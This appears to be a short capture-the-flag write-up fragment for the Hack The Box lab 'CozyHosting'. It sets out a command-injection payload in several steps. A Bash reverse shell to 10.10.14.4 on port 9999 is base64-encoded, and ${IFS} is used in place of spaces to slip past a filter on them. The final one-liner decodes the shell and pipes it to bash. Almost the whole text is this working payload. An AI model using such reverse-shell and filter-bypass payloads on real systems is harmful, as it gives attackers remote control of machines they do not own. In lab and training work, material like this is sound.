CozyHosting_Payload

revShells

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Generating a Bash reverse shell with revShells

base64

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┌──(kali㉿kali)-[~/archive/htb/labs/cozyhosting]
└─$ echo '/bin/bash -i >& /dev/tcp/10.10.14.4/9999 0>&1' | base64                
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvOTk5OSAwPiYxCg==

Encoding it in the base64 format

IFS

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forbidden space can be bypassed using the ifs (internal field separator)

echo${IFS}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvOTk5OSAwPiYxCg==|base64${IFS}-d|bash

Payload ready for deployment